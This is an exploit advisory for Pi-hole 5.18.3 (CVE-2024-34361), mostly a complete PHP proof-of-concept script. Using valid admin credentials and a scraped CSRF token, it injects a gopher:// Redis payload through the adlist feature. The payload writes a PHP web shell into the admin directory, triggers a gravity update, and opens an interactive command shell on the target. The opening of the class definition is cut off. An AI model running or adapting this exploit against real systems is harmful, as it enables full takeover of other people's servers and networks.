=============================================================================================================================================
| # Title : Pi-hole 5.18.3 via Redis & Gopher Abuse Authenticated Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://pi-hole.net/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212922/ & CVE-2024-34361
[+] Summary : This PHP script is an authenticated RCE exploit targeting Pi-hole’s web admin interface.
It requires valid administrator credentials to log in,
obtain a CSRF token, and abuse the adlist management feature by injecting a crafted gopher:// URL.
The payload forces the server to interact with a local Redis instance,
write a malicious PHP file into the admin directory, and ultimately enable arbitrary command execution through a web shell.
The attack is post-authentication and becomes critical when credentials are compromised, leading to full system control.
[+] POC : php poc.php https://target.com adminpassword
base_url = rtrim($base_url, '/');
$this->password = $password;
$this->session = curl_init();
// Configure CURL
curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true);
curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($this->session, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($this->session, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($this->session, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
}
private function http_request($url, $method = 'GET', $data = null, $headers = []) {
curl_setopt($this->session, CURLOPT_URL, $url);
curl_setopt($this->session, CURLOPT_CUSTOMREQUEST, $method);
$default_headers = [
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language: en-US,en;q=0.5',
'Connection: keep-alive',
];
$all_headers = array_merge($default_headers, $headers);
if ($method === 'POST' && $data !== null) {
curl_setopt($this->session, CURLOPT_POSTFIELDS, http_build_query($data));
$all_headers[] = 'Content-Type: application/x-www-form-urlencoded';
}
curl_setopt($this->session, CURLOPT_HTTPHEADER, $all_headers);
$response = curl_exec($this->session);
$http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
return [
'code' => $http_code,
'body' => $response,
'headers' => curl_getinfo($this->session, CURLINFO_HEADER_OUT)
];
}
public function login() {
$url = $this->base_url . '/admin/login.php';
$data = ['pw' => $this->password];
$response = $this->http_request($url, 'POST', $data);
if (strpos($response['body'], 'Wrong password') !== false) {
echo "[!] Login failed. Incorrect password.\n";
return false;
}
echo "[+] Login successful\n";
return true;
}
private function extract_csrf_token($html) {
// Try to find CSRF token in HTML
if (preg_match('/]*id="token"[^>]*value="([^"]+)"/i', $html, $matches)) {
$token = $matches[1];
} elseif (preg_match('/]*name="token"[^>]*value="([^"]+)"/i', $html, $matches)) {
$token = $matches[1];
} elseif (preg_match('/"token"\s*:\s*"([^"]+)"/', $html, $matches)) {
$token = $matches[1];
} else {
echo "[!] CSRF token not found\n";
return null;
}
echo "[+] CSRF Token obtained: " . substr($token, 0, 20) . "...\n";
return $token;
}
public function access_adlists() {
$url = $this->base_url . '/admin/groups-adlists.php';
$response = $this->http_request($url);
if ($response['code'] == 200) {
$this->csrf_token = $this->extract_csrf_token($response['body']);
return $this->csrf_token !== null;
} else {
echo "[!] Error accessing groups-adlists. Status code: " . $response['code'] . "\n";
return false;
}
}
public function add_payload() {
if (!$this->csrf_token) {
echo "[!] No CSRF token available\n";
return false;
}
$url = $this->base_url . '/admin/scripts/pi-hole/php/groups.php';
// Gopher payload for Redis RCE
$payload = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2419%0D%0A/var/www/html/admin%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';
$data = [
'action' => 'add_adlist',
'address' => $payload,
'comment' => '',
'token' => $this->csrf_token
];
$headers = [
'X-Requested-With: XMLHttpRequest',
'Accept: application/json, text/javascript, */*; q=0.01',
'Origin: ' . $this->base_url,
'Referer: ' . $this->base_url . '/admin/groups-adlists.php',
];
$response = $this->http_request($url, 'POST', $data, $headers);
if ($response['code'] == 200) {
echo "[+] Payload sent successfully\n";
echo "[+] shell.php should be dropped at /admin/shell.php\n";
return true;
} else {
echo "[!] Failed to send payload. Status code: " . $response['code'] . "\n";
return false;
}
}
public function execute_payload() {
$url = $this->base_url . '/admin/scripts/pi-hole/php/gravity.sh.php';
$headers = [
'Accept: text/event-stream',
'Cache-Control: no-cache',
'Referer: ' . $this->base_url . '/admin/gravity.php',
];
$response = $this->http_request($url, 'GET', null, $headers);
if ($response['code'] == 200) {
echo "[+] Gravity update triggered\n";
return true;
} else {
echo "[!] Failed to trigger gravity update. Status code: " . $response['code'] . "\n";
return false;
}
}
public function test_shell() {
$url = $this->base_url . '/admin/shell.php?cmd=id';
$response = $this->http_request($url);
if (strpos($response['body'], 'uid=') !== false) {
echo "[+] Shell is working! Command output:\n";
echo $response['body'] . "\n";
return true;
} else {
echo "[!] Shell test failed\n";
if ($response['code'] == 404) {
echo "[!] shell.php not found (404)\n";
}
return false;
}
}
public function interactive_shell() {
echo "\n[+] Entering interactive shell mode\n";
echo "[+] Type 'exit' to quit\n\n";
while (true) {
echo "shell> ";
$cmd = trim(fgets(STDIN));
if ($cmd === 'exit' || $cmd === 'quit') {
break;
}
if (empty($cmd)) {
continue;
}
$url = $this->base_url . '/admin/shell.php?cmd=' . urlencode($cmd);
$response = $this->http_request($url);
echo $response['body'] . "\n";
}
}
public function cleanup() {
// Remove the shell
$url = $this->base_url . '/admin/shell.php?cmd=rm%20-f%20' . urlencode($this->base_url . '/admin/shell.php');
$this->http_request($url);
echo "[+] Shell cleaned up\n";
}
public function run() {
echo "[*] Starting Pi-hole exploit\n";
echo "[*] Target: " . $this->base_url . "\n";
if (!$this->login()) {
return false;
}
if (!$this->access_adlists()) {
return false;
}
if (!$this->add_payload()) {
return false;
}
if (!$this->execute_payload()) {
return false;
}
// Wait for gravity update to complete
echo "[*] Waiting 5 seconds for gravity update...\n";
sleep(5);
if ($this->test_shell()) {
$this->interactive_shell();
$this->cleanup();
}
return true;
}
public function __destruct() {
if (is_resource($this->session)) {
curl_close($this->session);
}
// Clean up cookie file
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
}
}
// Command line interface
if ($argc < 3) {
echo "Usage: php " . basename(__FILE__) . " \n";
echo "Example: php poc.php https://pihole.example.com admin123\n";
exit(1);
}
$base_url = $argv[1];
$password = $argv[2];
$exploit = new PiHoleExploit($base_url, $password);
$exploit->run();
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================